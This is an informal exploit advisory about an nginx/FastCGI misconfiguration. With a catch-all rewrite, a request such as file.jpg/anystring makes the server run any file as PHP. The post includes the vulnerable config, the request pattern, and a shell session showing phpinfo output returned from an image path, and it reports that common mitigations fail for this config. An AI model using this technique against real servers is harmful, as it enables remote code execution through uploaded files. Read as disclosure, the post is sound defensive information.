1 nginx server another exploit by ev1lut10n

yep this another configuration that trigger a hole  that i've found a bit different 

from the one from 80sec (http://www.80sec.com/nginx-securit.html) . 

For a fastcgi setting on nginx.conf like this (just example):

============
  fastcgi_param SCRIPT_FILENAME /home/any_user/public_html$fastcgi_script_name;
  if (!-e $request_filename) {
                    rewrite ^(.+)$ /index.php?q=$1 last;
                  }
=========== 
where /home/any_user/public_html can be any path , the above setting is 

a non default nginx configuration. 

any file extension that requested like : file.extension/any_string will be

treated just like a  php script , 
ex: test.txt/any_string_without_php_extension

as example here we've a file text on /home/user/www


==========================
root@host [/home/any_user_and_path/www]# cat tes.txt 

====================

 
where any request of that test.txt like this:
==============================
http://domain.com/tes.txt/any_string_without_php_extension 
=============================
will be treated as php script. 

ok, based on http://www.80sec.com/nginx-securit.html -> it suggest a patch 

on nginx.conf or can be on php.ini
on nginx.conf by adding:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
or on php.ini by cgi.fix_pathinfo=0
unfortunetly this will not fix your hole when u've the wrong config above. 

as i've check it still  treated as php script:





===========

root@host [/usr/local/nginx/conf]# cat /usr/local/lib/php.ini | grep cgi.fix_pathinfo
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's
cgi.fix_pathinfo=0
root@host [/usr/local/nginx/conf]# /etc/init.d/httpd restart
Restarting nginx daemon: nginxRemaining processes: 12091
root@host [/usr/local/nginx/conf]# wget http://***********.net/tes.jpg/any_string_without_extension
--08:35:00--  http://***********.net/tes.jpg/any_string_without_extension
           => `any_string_without_extension'
Resolving ***********.net... 204.197.248.127
Connecting to ***********.net|204.197.248.127|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                                                                                              ] 46,064        --.--K/s             

08:35:03 (9.38 MB/s) - `any_string_without_extension' saved [46064]
root@host [/usr/local/nginx/conf]# cat any_string_without_extension | grep 'PHP Version'
<a href="http://www.php.net/"><img border="0" src="/tes.jpg?=PHPE9568F34-D428-11d2-A769-00AA001ACF42" alt="PHP Logo" /></a><h1 class="p">PHP Version 5.2.17</h1>root@host [/usr/local/nginx/conf]# cat any_string_without_extension | grep 'safe_mode'
<tr><td class="e">safe_mode</td><td class="v">On</td><td class="v">On</td></tr>
<tr><td class="e">safe_mode_exec_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">safe_mode_gid</td><td class="v">On</td><td class="v">On</td></tr>
<tr><td class="e">safe_mode_include_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">sql.safe_mode</td><td class="v">Off</td><td class="v">Off</td></tr>
<tr><td class="e">safe_mode_allowed_env_vars</td><td class="v">PHP_</td><td class="v">PHP_</td></tr>
<tr><td class="e">safe_mode_protected_env_vars</td><td class="v">LD_LIBRARY_PATH</td><td class="v">LD_LIBRARY_PATH</td></tr>
root@host [/usr/local/nginx/conf]# <br />
=================================================<br />
<br />
(trust me that u must be very careful 

when u're gonna setting nginx and fastcgi !!

a little mistake on config will trigger a hole on ur server)

===========================
Special thanks to: Flyff666, Danzel, X-hack, Whitehat, P4, wenkhairu, badwolves , superman, 
cakill, ketek, Smith, all Chinese and Indonesians and all my bro
===========================